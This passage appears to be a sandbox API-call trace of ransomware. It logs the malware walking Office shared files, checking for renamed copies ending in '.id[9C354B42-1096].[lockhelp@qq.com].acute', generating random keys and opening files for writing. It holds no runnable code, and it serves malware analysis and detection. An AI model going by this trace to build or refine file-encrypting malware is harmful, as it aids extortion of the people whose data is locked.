Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.610] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.611] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=395651) returned 1 [0273.611] CloseHandle (hObject=0x368) returned 1 [0273.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0273.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.611] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.612] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=295663) returned 1 [0273.612] CloseHandle (hObject=0x368) returned 1 [0273.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex")) returned 0x20 [0273.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.612] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.614] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=17280) returned 1 [0273.614] CloseHandle (hObject=0x368) returned 1 [0273.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll")) returned 0x20 [0273.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.614] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.615] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=13696) returned 1 [0273.615] CloseHandle (hObject=0x368) returned 1 [0273.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0273.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.615] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.616] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=123776) returned 1 [0273.616] CloseHandle (hObject=0x368) returned 1 [0273.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll")) returned 0x20 [0273.616] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FBIBLIO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fbiblio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.616] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.617] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=98176) returned 1 [0273.617] CloseHandle (hObject=0x368) returned 1 [0273.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll")) returned 0x20 [0273.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FDATE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fdate.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.617] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.617] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=217984) returned 1 [0273.617] CloseHandle (hObject=0x368) returned 1 [0273.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll")) returned 0x20 [0273.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPERSON.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fperson.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.618] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.618] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=181120) returned 1 [0273.618] CloseHandle (hObject=0x368) returned 1 [0273.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll")) returned 0x20 [0273.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.618] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.618] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=159104) returned 1 [0273.618] CloseHandle (hObject=0x368) returned 1 [0273.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll")) returned 0x20 [0273.618] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.619] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.619] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=234880) returned 1 [0273.619] CloseHandle (hObject=0x368) returned 1 [0273.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll")) returned 0x20 [0273.619] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.619] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.620] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=101248) returned 1 [0273.620] CloseHandle (hObject=0x368) returned 1 [0273.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll")) returned 0x20 [0273.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.620] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.621] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=110976) returned 1 [0273.621] CloseHandle (hObject=0x368) returned 1 [0273.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll")) returned 0x20 [0273.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.622] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0273.622] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=364928) returned 1 [0273.622] CloseHandle (hObject=0x368) returned 1 [0273.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll")) returned 0x20 [0273.623] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.623] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.623] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.857] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.897] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=13684) returned 1 [0273.900] CloseHandle (hObject=0x378) returned 1 [0273.905] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb")) returned 0x20 [0273.909] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.910] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.910] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.911] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=47684) returned 1 [0273.911] CloseHandle (hObject=0x378) returned 1 [0273.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm")) returned 0x20 [0273.911] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.911] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.911] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0273.912] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=610) returned 1 [0273.912] CloseHandle (hObject=0x378) returned 1 [0273.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf")) returned 0x20 [0273.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0273.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0273.912] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0273.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.009] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=54803) returned 1 [0274.009] CloseHandle (hObject=0x37c) returned 1 [0274.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\compass.elm")) returned 0x20 [0274.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\COMPASS.ELM.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common 